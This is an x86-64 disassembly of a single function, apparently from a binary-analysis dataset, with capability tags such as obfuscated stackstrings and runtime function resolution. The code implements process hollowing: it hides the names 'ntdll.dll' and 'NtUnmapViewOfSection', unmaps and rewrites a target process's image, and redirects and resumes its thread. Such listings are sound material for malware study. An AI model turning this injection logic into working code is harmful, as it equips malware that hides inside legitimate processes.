Function at 0x14004a8e0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x78]
sub rsp, 0x178
mov qword [rbp - 0x68], 0xfffffffffffffffe
mov rax, qword [0x14007a080]
xor rax, rsp
mov qword [rbp + 0x68], rax
mov rsi, r9
mov qword [rsp + 0x68], r8
mov r14, rdx
mov qword [rsp + 0x60], rdx
mov r13, rcx
mov qword [rbp - 0x78], rcx
mov r15, qword [rbp + 0xe0]
xor eax, eax
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
call fcn.14000d0b0
xor r12b, r12b
mov rbx, 0xffffffffffffffff
cmp byte [rbp + 0xf8], r12b
je 0x14004ab46
movdqa xmm0, xmmword [0x14006f290]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], r12b
movzx r9d, byte [rbp + 0xf0]
lea r8, [rbp + 0x30]
lea rdx, [rbp - 0x80]
mov ecx, eax
call fcn.14004c000
test al, al
je 0x14004aa6f
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14004aa6f
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
call fcn.14000e970
test eax, eax
je 0x14004aa47
mov rdx, qword [rbp - 0x80]
lea rcx, [rsp + 0x70]
call fcn.14000ea90
test eax, eax
je 0x14004a9c7
mov r12b, 1
jmp 0x14004ab02
mov word [rbp + 0x50], 0x3231
mov byte [rbp + 0x52], 0
lea rax, [rbp + 0x50]
mov r14, rbx
nop dword [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x14004a9e0
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x14004aa2e
lea rax, [rcx + r14]
mov qword [rsi + 0x10], rax
cmp rdx, 0x10
mov rax, rsi
jb 0x14004aa11
mov rax, qword [rsi]
lea rdi, [rax + rcx]
mov r8, r14
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.140017850
mov byte [rdi + r14], 0
jmp 0x14004aafd
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov rdx, r14
mov rcx, rsi
call fcn.140012a30
jmp 0x14004aafd
mov word [rbp + 0x51], 0x31
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
mov r14, rbx
nop dword [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x14004aa60
jmp 0x14004a9ea
mov word [rbp + 0x51], 0x5f30
mov byte [rbp + 0x53], 0
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
mov r14, rbx
inc r14
cmp byte [rax + r14], 0
jne 0x14004aa84
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x14004aacf
lea rax, [rcx + r14]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 0x10
jb 0x14004aab5
mov rax, qword [rsi]
lea rdi, [rax + rcx]
mov r8, r14
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.140017850
mov byte [rdi + r14], 0
jmp 0x14004aae3
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov rdx, r14
mov rcx, rsi
call fcn.140012a30
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x40]
mov rcx, rsi
call fcn.140012bb0
mov r14, qword [rsp + 0x60]
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14004ab3d
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ab38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b4c2
call fcn.140015c34
test r12b, r12b
je 0x14004b49a
lea rdx, [0x14006dc60]
lea rcx, [rbp + 0x30]
call fcn.140009480
cmp qword [rax + 0x18], 0x10
jb 0x14004ab60
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14004aba7
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004aba2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b4c8
call fcn.140015c34
movdqa xmm0, xmmword [0x14006f290]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
test rdi, rdi
je 0x14004b432
lea rdx, [0x14006d040]
lea rcx, [rbp + 0x10]
call fcn.140009480
cmp qword [rax + 0x18], 0x10
jb 0x14004abdb
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007c4d8], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14004ac29
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ac24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b4ce
call fcn.140015c34
lea rdx, [0x14006d070]
lea rcx, [rbp + 0x10]
call fcn.140009480
cmp qword [rax + 0x18], 0x10
jb 0x14004ac43
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007c4d0], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14004ac91
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ac8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b4d4
call fcn.140015c34
lea rdx, [0x14006d0a0]
lea rcx, [rbp + 0x10]
call fcn.140009480
cmp qword [rax + 0x18], 0x10
jb 0x14004acab
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007c4c8], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14004acf9
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004acf4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b4da
call fcn.140015c34
mov eax, 0x5a4d
cmp word [r13], ax
jne 0x14004b2c6
movsxd r13, dword [r13 + 0x3c]
add r13, qword [rbp - 0x78]
cmp dword [r13], 0x4550
jne 0x14004b26d
lea rdx, [rsp + 0x60]
mov rcx, r14
call fcn.14000e280
movzx eax, word [r13 + 4]
mov ecx, 0x14c
cmp ax, cx
jne 0x14004ad42
cmp dword [rsp + 0x60], 0
jmp 0x14004ad51
mov ecx, 0x8664
cmp ax, cx
jne 0x14004ad57
cmp dword [rsp + 0x60], 6
jne 0x14004b49a
lea rdi, [rbp + 0x30]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 0x60]
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp - 0x60], 0x68
mov dword [rbp - 0x24], 0x101
xor r12d, r12d
mov word [rbp - 0x20], r12w
cmp byte [rbp + 0xf8], al
lea rax, [rbp + 0x30]
je 0x14004adbd
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov r8, qword [rsp + 0x68]
mov rdx, r14
mov rcx, qword [rsp + 0x78]
call fcn.14003d0d0
jmp 0x14004add8
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x68]
mov rcx, r14
call fcn.140051970
test eax, eax
je 0x14004b20e
mov edx, 0xc
call fcn.140008ff0
mov rdi, rax
mov qword [rbp - 0x70], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp + 0x38]
call fcn.140051aa0
test eax, eax
je 0x14004b1ec
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rsp + 0x68]
mov rcx, qword [rbp + 0x30]
call qword [0x14007c4d8]
mov dword [rbp + 0x50], 0x5f3777
lea rax, [rbp + 0x50]
mov r14, rbx
nop
inc r14
cmp byte [rax + r14], r12b
jne 0x14004ae40
mov rcx, qword [r15 + 0x10]
mov rdx, qword [r15 + 0x18]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x14004ae89
lea rax, [rcx + r14]
mov qword [r15 + 0x10], rax
mov rax, r15
cmp rdx, 0x10
jb 0x14004ae70
mov rax, qword [r15]
lea rdi, [rax + rcx]
mov r8, r14
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.140017850
mov byte [rdi + r14], r12b
jmp 0x14004ae9d
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov rdx, r14
mov rcx, r15
call fcn.140012a30
mov eax, dword [rsp + 0x68]
mov word [rbp + 0x50], 0x6d69
mov r14, rbx
cmp rax, qword [r13 + 0x30]
lea rax, [rbp + 0x50]
jne 0x14004af11
mov word [rbp + 0x52], 0x6f67
mov word [rbp + 0x55], 0x5f
mov byte [rbp + 0x54], 0x6f
inc r14
cmp byte [rax + r14], r12b
jne 0x14004aec4
mov rcx, qword [r15 + 0x10]
mov rdx, qword [r15 + 0x18]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x14004af69
lea rax, [rcx + r14]
mov qword [r15 + 0x10], rax
mov rax, r15
cmp rdx, 0x10
jb 0x14004aef8
mov rax, qword [r15]
lea rdi, [rax + rcx]
mov r8, r14
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.140017850
mov byte [r14 + rdi], r12b
jmp 0x14004af7d
mov dword [rbp + 0x53], 0x5f6666
mov byte [rbp + 0x52], 0x67
nop dword [rax]
inc r14
cmp byte [rax + r14], r12b
jne 0x14004af20
mov rcx, qword [r15 + 0x10]
mov rdx, qword [r15 + 0x18]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x14004af69
lea rax, [rcx + r14]
mov qword [r15 + 0x10], rax
mov rax, r15
cmp rdx, 0x10
jb 0x14004af50
mov rax, qword [r15]
lea rdi, [rax + rcx]
mov r8, r14
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.140017850
mov byte [rdi + r14], r12b
jmp 0x14004af7d
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov rdx, r14
mov rcx, r15
call fcn.140012a30
mov eax, dword [rsp + 0x68]
cmp rax, qword [r13 + 0x30]
jne 0x14004b08a
mov dword [rbp + 0x5b], 0x642e6c6c
mov word [rbp + 0x60], 0x6c
mov byte [rbp + 0x5f], 0x6c
mov word [rbp + 0x58], 0x746e
mov byte [rbp + 0x5a], 0x64
mov dword [rbp + 0x11], 0x6d6e5574
mov word [rbp + 0x20], 0x6974
mov word [rbp + 0x23], 0x6e
mov dword [rbp + 0x1a], 0x53664f77
mov dword [rbp + 0x16], 0x65695670
mov word [rbp + 0x1e], 0x6365
mov byte [rbp + 0x10], 0x4e
mov byte [rbp + 0x22], 0x6f
mov byte [rbp + 0x15], 0x61
lea rcx, [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rbp + 0x30]
call rax
mov r14, rbx
test eax, eax
lea rax, [rbp + 0x50]
jne 0x14004b01b
mov dword [rbp + 0x50], 0x637573
nop dword [rax]
inc r14
cmp byte [rax + r14], r12b
jne 0x14004b010
jmp 0x14004b039
mov word [rbp + 0x51], 0x6666
mov byte [rbp + 0x53], r12b
mov byte [rbp + 0x50], 0x66
nop dword [rax]
inc r14
cmp byte [rax + r14], r12b
jne 0x14004b030
mov rdx, qword [r15 + 0x18]
mov rcx, qword [r15 + 0x10]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x14004b076
lea rax, [rcx + r14]
cmp rdx, 0x10
mov qword [r15 + 0x10], rax
jb 0x14004b05d
mov r15, qword [r15]
lea rdi, [r15 + rcx]
mov r8, r14
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.140017850
mov byte [rdi + r14], r12b
jmp 0x14004b08a
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov rdx, r14
mov rcx, r15
call fcn.140012a30
mov eax, 4
mov ecx, 0x40
cmp byte [rbp + 0xe8], r12b
cmovne eax, ecx
mov r8d, dword [r13 + 0x50]
mov dword [rsp + 0x20], eax
mov rdx, qword [r13 + 0x30]
mov rcx, qword [rbp + 0x30]
call fcn.1400475b0
mov r14, rax
test rax, rax
je 0x14004b166
mov r9d, dword [r13 + 0x54]
mov rsi, qword [rbp - 0x78]
mov r8, rsi
mov rdx, rax
mov rcx, qword [rbp + 0x30]
call fcn.140051b90
movzx edi, word [r13 + 0x14]
add rdi, 0x2c
xor r15d, r15d
mov ebx, r15d
cmp r15w, word [r13 + 6]
jae 0x14004b118
add rdi, r13
nop
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, rsi
mov edx, dword [rdi - 8]
add rdx, r14
mov rcx, qword [rbp + 0x30]
call fcn.140051b90
lea rdi, [rdi + 0x28]
inc ebx
movzx eax, word [r13 + 6]
cmp ebx, eax
jl 0x14004b0f0
mov rdi, qword [rbp - 0x70]
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov r9d, 8
lea r8, [r13 + 0x30]
mov rcx, qword [rbp + 0x30]
call fcn.140051b90
mov eax, dword [r13 + 0x28]
add rax, r14
mov qword [rdi + 0x80], rax
mov rdx, rdi
mov rcx, qword [rbp + 0x38]
call qword [0x14007c4d0]
mov rcx, qword [rbp + 0x38]
call qword [0x14007c4c8]
mov bl, 1
jmp 0x14004b2f8
mov word [rbp + 0x50], 0x3831
mov byte [rbp + 0x52], r12b
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x14004b174
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x14004b1c8
lea rax, [rcx + rbx]
cmp rdx, 0x10
mov qword [rsi + 0x10], rax
jb 0x14004b1a1
mov rsi, qword [rsi]
lea rdi, [rsi + rcx]
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.140017850
mov byte [rdi + rbx], r12b
xor edx, edx
mov rcx, qword [rbp + 0x30]
call fcn.140046ce0
jmp 0x14004b2f3
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x50]
mov rdx, rbx
mov rcx, rsi
call fcn.140012a30
xor edx, edx
mov rcx, qword [rbp + 0x30]
call fcn.140046ce0
jmp 0x14004b2f3
mov word [rbp + 0x50], 0x3731
mov byte [rbp + 0x52], r12b
lea rax, [rbp + 0x50]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x14004b200
jmp 0x14004b17d
mov word [rbp + 0x51], 0x36
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x14004b220
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x14004b2df
lea rax, [rcx + rbx]
mov qword [rsi + 0x10], rax
cmp rdx, 0x10
jb 0x14004b251
mov rsi, qword [rsi]
lea rdi, [rsi + rcx]
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.140017850
mov byte [rdi + rbx], r12b
jmp 0x14004b2f3
mov word [rbp + 0x50], 0x3531
mov byte [rbp + 0x52], 0
lea rax, [rbp + 0x50]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14004b280
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x14004b2df
lea rax, [rcx + rbx]
cmp rdx, 0x10
mov qword [rsi + 0x10], rax
jb 0x14004b2ad
mov rsi, qword [rsi]
lea rdi, [rsi + rcx]
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.140017850
mov byte [rdi + rbx], 0
jmp 0x14004b2f3
mov word [rbp + 0x50], 0x3431
mov byte [rbp + 0x52], 0
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14004b2d4
jmp 0x14004b289
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x50]
mov rdx, rbx
mov rcx, rsi
call fcn.140012a30
xor bl, bl
xor r15d, r15d
cmp qword [rsp + 0x70], 0
je 0x14004b40b
lea rdx, [0x14006d0c0]
lea rcx, [rbp + 0x30]
call fcn.140009480
nop
cmp qword [rax + 0x18], 0x10
jb 0x14004b31f
mov rax, qword [rax]
mov rcx, rax
call fcn.1400090f0
mov rdi, rax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14004b365
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b360
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b4e0
call fcn.140015c34
movdqa xmm0, xmmword [0x14006f290]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
test rdi, rdi
je 0x14004b40b
lea rdx, [0x14006d0e0]
lea rcx, [rbp + 0x10]
call fcn.140009480
cmp qword [rax + 0x18], 0x10
jb 0x14004b399
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007c500], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14004b3ee
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b3e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b4bc
call fcn.140015c34
mov rax, qword [0x14007c500]
movdqa xmm0, xmmword [0x14006f290]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
test rax, rax
je 0x14004b40b
mov rcx, qword [rsp + 0x70]
call rax
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14004b41f
call fcn.1400082a0
mov qword [rsp + 0x78], r15
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14004b42d
call fcn.1400082a0
movzx eax, bl
jmp 0x14004b49c
mov word [rbp + 0x51], 0x33
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14004b440
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x14004b486
lea rax, [rcx + rbx]
mov qword [rsi + 0x10], rax
cmp rdx, 0x10
jb 0x14004b46d
mov rsi, qword [rsi]
lea rdi, [rsi + rcx]
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.140017850
mov byte [rbx + rdi], 0
jmp 0x14004b49a
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x50]
mov rdx, rbx
mov rcx, rsi
call fcn.140012a30
xor al, al
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.140015c10
add rsp, 0x178
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14001a104
int3
call fcn.14001a104
int3
call fcn.14001a104
int3
call fcn.14001a104
int3
call fcn.14001a104
int3
call fcn.14001a104
int3
call fcn.14001a104
int3